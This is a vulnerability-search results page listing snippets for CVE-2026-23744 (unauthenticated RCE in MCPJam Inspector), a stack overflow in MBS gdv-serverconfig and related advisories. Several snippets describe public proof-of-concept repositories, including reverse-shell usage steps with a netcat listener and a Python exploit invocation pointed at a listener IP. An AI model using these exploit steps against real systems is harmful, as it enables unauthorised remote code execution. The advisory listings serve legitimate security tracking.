41 matches found
CVE-2026-23744-POC
CVE-2026-23744 — RCE no autenticado en MCPJam Inspector MCPJam Inspector -i -p -m Flag| Descripción| Por defecto ---|---|--- -u| URL del objetivo| obligatorio -i| IP de tu listener LHOST| obligatorio -p| Puerto de tu listener LPORT| obligatorio -m| Método de payload: busybox, bash, python3| busyb...
-Educational-PoC-CVE-2026-23520
CVE-2026-23520: Model Context Protocol MCP Connect RCE - PoC Educativo - Arcane DESCARGO DE RESPONSABILIDAD: Este repositorio y los scripts que contiene son estrictamente para fines educativos y académicos. La información aquí proporcionada está destinada a ayudar a investigadores de seguridad,...
CVE-2026-23744
CVE-2026-23744 — MCPJam Inspector RCE no autenticado PoC de ejecución remota de código no autenticada para CVE-2026-23744. MCPJam Inspector 1.4.2 y versiones anteriores exponen funcionalidad a través de /api/mcp/connect que puede lanzar un comando de servidor MCP controlado por el atacante sin...
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 Una vulnerabilidad crítica de ejecución remota de código RCE en MCPJam Inspector 3. Iniciar el exploit python3 CVE-2026-23744.py -u -i -p 4. Para un mejor uso recomiendo actualizar la terminal a una completamente funcional, de lo contrario no podrás...
CVE-2026-23744-RCE
MCPJam Inspector v1.4.2 - RCE 漏洞利用 漏洞描述 MCPJam Inspector 在 /api/mcp/connect 端点存在一个未经验证的远程代码执行（RCE）漏洞。攻击者可以通过发送恶意的 MCP 服务器配置载荷来执行任意命令。 该端点接受一个包含 serverConfig 对象的 JSON 载荷，其中包含 command 和 args 数组，这些内容会在系统上直接执行，未经过适当的验证或清理。 受影响版本 MCPJam Inspector v1.4.2 以及可能更早的版本 使用方法 先决条件 Python 3.6+ requests 库：pip...
CVE-2026-23744
CVE-2026-23744: Ejecución Remota de Código No Autenticada en @mcpjam/inspector DESCARGO DE RESPONSABILIDAD: Este repositorio y los scripts asociados están destinados únicamente a evaluaciones de seguridad autorizadas, pruebas de penetración, investigación de seguridad y análisis educativo. Probar...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector 未認証RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロードメソッド ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:...
CVE-2026-35085
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
CVE-2026-35085
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
EUVD-2026-34081
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
CVE-2026-35085 Stack buffer overflow in method gdv-serverconfig
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
CVE-2026-35085
CVE-2026-35085 describes a stack buffer overflow in gdv-serverconfig that can be exploited by a remote attacker authenticated with user privileges to achieve full system access as root. The CVE is rated HIGH (CVSS 4.0: 8.7) with NETWORK attack vector, low complexity, and requires low privileges; ...
CVE-2026-35085
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
CVE-2026-35085 Stack buffer overflow in method gdv-serverconfig
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
PT-2026-45926
Name of the Vulnerable Software and Affected Versions gdv-serverconfig affected versions not specified Description A remote attacker with user privileges can exploit a stack buffer overflow in the gdv-serverconfig method to gain full system access with root privileges. A stack buffer overflow...
CVE-2026-35085: Stack-based Buffer Overflow
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
MBS多款产品 安全漏洞
MBS Single-A and other products are a series of industrial communication gateways developed by the German company MBS. Several MBS products have security vulnerabilities; these vulnerabilities stem from a stack buffer overflow in the gdv-serverconfig module, which could allow remote attackers to...
EUVD-2025-27769
Malicious code in bioql PyPI...
PT-2025-34849 · Unknown · Serverconfig
Name of the Vulnerable Software and Affected Versions: affected versions not specified Description: The serverConfig API endpoint returns the module configuration, including credentials, without requiring authentication. Recommendations: At the moment, there is no information about a newer versio...
CVE-2025-30048: Missing Authentication for Critical Function
The "serverConfig" endpoint, which returns the module configuration including credentials, is accessible without authentication...